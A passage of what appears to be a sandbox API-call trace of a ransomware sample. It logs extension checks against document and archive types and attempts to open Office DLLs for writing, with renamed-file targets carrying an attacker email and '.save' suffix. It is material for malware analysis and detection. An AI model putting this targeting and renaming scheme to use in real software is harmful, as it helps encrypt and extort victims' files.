Glass.eftx") returned 90 [0177.933] lstrlenW (lpString=".1cd") returned 4 [0177.933] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0177.933] lstrlenW (lpString=".jpg") returned 4 [0177.933] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0177.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0177.934] lstrlenW (lpString=".doc") returned 4 [0177.934] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.934] lstrlenW (lpString=".docx") returned 5 [0177.934] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.934] lstrlenW (lpString=".pdf") returned 4 [0177.934] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.934] lstrlenW (lpString=".xls") returned 4 [0177.934] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.934] lstrlenW (lpString=".xlsx") returned 5 [0177.934] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.934] lstrlenW (lpString=".ppt") returned 4 [0177.934] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0177.934] lstrlenW (lpString=".zip") returned 4 [0177.934] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.934] lstrlenW (lpString=".rar") returned 4 [0177.934] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.934] lstrlenW (lpString=".bz2") returned 4 [0177.934] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.934] lstrlenW (lpString=".7z") returned 3 [0177.934] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0177.934] lstrlenW (lpString=".dbf") returned 4 [0177.934] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0177.934] lstrlenW (lpString=".1cd") returned 4 [0177.935] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0177.935] lstrlenW (lpString=".jpg") returned 4 [0177.935] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.935] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0177.935] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0177.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0177.936] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=19136) returned 1 [0177.936] CloseHandle (hObject=0x534) returned 1 [0177.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0177.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0177.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0177.937] lstrlenW (lpString=".doc") returned 4 [0177.937] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.937] lstrlenW (lpString=".docx") returned 5 [0177.937] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0177.937] lstrlenW (lpString=".pdf") returned 4 [0177.937] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.937] lstrlenW (lpString=".xls") returned 4 [0177.937] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.937] lstrlenW (lpString=".xlsx") returned 5 [0177.937] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0177.937] lstrlenW (lpString=".ppt") returned 4 [0177.937] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0177.937] lstrlenW (lpString=".zip") returned 4 [0177.937] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.937] lstrlenW (lpString=".rar") returned 4 [0177.937] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.937] lstrlenW (lpString=".bz2") returned 4 [0177.937] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.937] lstrlenW (lpString=".7z") returned 3 [0177.937] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0177.937] lstrlenW (lpString=".dbf") returned 4 [0177.937] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0177.938] lstrlenW (lpString=".1cd") returned 4 [0177.938] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0177.938] lstrlenW (lpString=".jpg") returned 4 [0177.938] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0177.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0177.938] lstrlenW (lpString=".doc") returned 4 [0177.938] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.938] lstrlenW (lpString=".docx") returned 5 [0177.938] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0177.938] lstrlenW (lpString=".pdf") returned 4 [0177.938] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.938] lstrlenW (lpString=".xls") returned 4 [0177.938] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.938] lstrlenW (lpString=".xlsx") returned 5 [0177.938] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0177.938] lstrlenW (lpString=".ppt") returned 4 [0177.938] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0177.938] lstrlenW (lpString=".zip") returned 4 [0177.938] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.938] lstrlenW (lpString=".rar") returned 4 [0177.938] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.938] lstrlenW (lpString=".bz2") returned 4 [0177.938] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.938] lstrlenW (lpString=".7z") returned 3 [0177.939] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0177.939] lstrlenW (lpString=".dbf") returned 4 [0177.939] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0177.939] lstrlenW (lpString=".1cd") returned 4 [0177.939] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0177.939] lstrlenW (lpString=".jpg") returned 4 [0177.939] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.939] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0177.939] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0177.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0177.942] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=19136) returned 1 [0177.942] CloseHandle (hObject=0x534) returned 1 [0177.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220 [0177.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0177.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0177.943] lstrlenW (lpString=".doc") returned 4 [0177.943] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.943] lstrlenW (lpString=".docx") returned 5 [0177.943] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0177.943] lstrlenW (lpString=".pdf") returned 4 [0177.943] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.943] lstrlenW (lpString=".xls") returned 4 [0177.943] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.943] lstrlenW (lpString=".xlsx") returned 5 [0177.943] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0177.943] lstrlenW (lpString=".ppt") returned 4 [0177.943] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0177.943] lstrlenW (lpString=".zip") returned 4 [0177.943] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.943] lstrlenW (lpString=".rar") returned 4 [0177.943] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.943] lstrlenW (lpString=".bz2") returned 4 [0177.944] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.944] lstrlenW (lpString=".7z") returned 3 [0177.944] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0177.944] lstrlenW (lpString=".dbf") returned 4 [0177.944] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0177.944] lstrlenW (lpString=".1cd") returned 4 [0177.944] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0177.944] lstrlenW (lpString=".jpg") returned 4 [0177.944] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0177.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0177.944] lstrlenW (lpString=".doc") returned 4 [0177.944] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.944] lstrlenW (lpString=".docx") returned 5 [0177.944] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0177.944] lstrlenW (lpString=".pdf") returned 4 [0177.944] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.944] lstrlenW (lpString=".xls") returned 4 [0177.944] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.945] lstrlenW (lpString=".xlsx") returned 5 [0177.945] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0177.945] lstrlenW (lpString=".ppt") returned 4 [0177.945] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0177.945] lstrlenW (lpString=".zip") returned 4 [0177.945] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.945] lstrlenW (lpString=".rar") returned 4 [0177.945] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.945] lstrlenW (lpString=".bz2") returned 4 [0177.945] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.945] lstrlenW (lpString=".7z") returned 3 [0177.945] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0177.945] lstrlenW (lpString=".dbf") returned 4 [0177.945] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0177.945] lstrlenW (lpString=".1cd") returned 4 [0177.945] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0177.945] lstrlenW (lpString=".jpg") returned 4 [0177.945] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.945] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0177.946] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0177.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0177.947] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=18624) returned 1 [0177.947] CloseHandle (hObject=0x534) returned 1 [0177.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220 [0177.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0177.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0177.948] lstrlenW (lpString=".doc") returned 4 [0177.948] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.948] lstrlenW (lpString=".docx") returned 5 [0177.948] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0177.948] lstrlenW (lpString=".pdf") returned 4 [0177.948] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.948] lstrlenW (lpString=".xls") returned 4 [0177.949] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.949] lstrlenW (lpString=".xlsx") returned 5 [0177.949] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0177.949] lstrlenW (lpString=".ppt") returned 4 [0177.949] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0177.949] lstrlenW (lpString=".zip") returned 4 [0177.949] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.949] lstrlenW (lpString=".rar") returned 4 [0177.949] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.949] lstrlenW (lpString=".bz2") returned 4 [0177.949] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.949] lstrlenW (lpString=".7z") returned 3 [0177.949] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0177.949] lstrlenW (lpString=".dbf") returned 4 [0177.949] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0177.949] lstrlenW (lpString=".1cd") returned 4 [0177.949] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0177.949] lstrlenW (lpString=".jpg") returned 4 [0177.949] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0177.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0177.950] lstrlenW (lpString=".doc") returned 4 [0177.950] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.950] lstrlenW (lpString=".docx") returned 5 [0177.950] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0177.950] lstrlenW (lpString=".pdf") returned 4 [0177.950] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.950] lstrlenW (lpString=".xls") returned 4 [0177.950] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.950] lstrlenW (lpString=".xlsx") returned 5 [0177.950] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0177.950] lstrlenW (lpString=".ppt") returned 4 [0177.950] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0177.950] lstrlenW (lpString=".zip") returned 4 [0177.950] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.950] lstrlenW (lpString=".rar") returned 4 [0177.951] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.951] lstrlenW (lpString=".bz2") returned 4 [0177.951] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.951] lstrlenW (lpString=".7z") returned 3 [0177.951] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0177.951] lstrlenW (lpString=".dbf") returned 4 [0177.951] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0177.951] lstrlenW (lpString=".1cd") returned 4 [0177.951] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0177.951] lstrlenW (lpString=".jpg") returned 4 [0177.951] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.951] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0177.951] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0177.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0177.953] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=11616) returned 1 [0177.953] CloseHandle (hObject=0x534) returned 1 [0177.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220 [0177.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0177.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0177.954] lstrlenW (lpString=".doc") returned 4 [0177.954] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.954] lstrlenW (lpString=".docx") returned 5 [0177.954] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0177.954] lstrlenW (lpString=".pdf") returned 4 [0177.955] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.955] lstrlenW (lpString=".xls") returned 4 [0177.955] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.955] lstrlenW (lpString=".xlsx") returned 5 [0177.955] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0177.956] lstrlenW (lpString=".ppt") returned 4 [0177.956] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0177.956] lstrlenW (lpString=".zip") returned 4 [0177.956] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.956] lstrlenW (lpString=".rar") returned 4 [0177.956] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.956] lstrlenW (lpString=".bz2") returned 4 [0177.956] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.956] lstrlenW (lpString=".7z") returned 3 [0177.956] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0177.956] lstrlenW (lpString=".dbf") returned 4 [0177.956] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0177.956] lstrlenW (lpString=".1cd") returned 4 [0177.956] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0177.956] lstrlenW (lpString=".jpg") returned 4 [0177.956] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0177.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0177.957] lstrlenW (lpString=".doc") returned 4 [0177.957] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.957] lstrlenW (lpString=".docx") returned 5 [0177.957] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0177.957] lstrlenW (lpString=".pdf") returned 4 [0177.957] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.957] lstrlenW (lpString=".xls") returned 4 [0177.957] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.957] lstrlenW (lpString=".xlsx") returned 5 [0177.957] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0177.957] lstrlenW (lpString=".ppt") returned 4 [0177.957] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0177.957] lstrlenW (lpString=".zip") returned 4 [0177.957] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.957] lstrlenW (lpString=".rar") returned 4 [0177.957] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.957] lstrlenW (lpString=".bz2") returned 4 [0177.957] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.957] 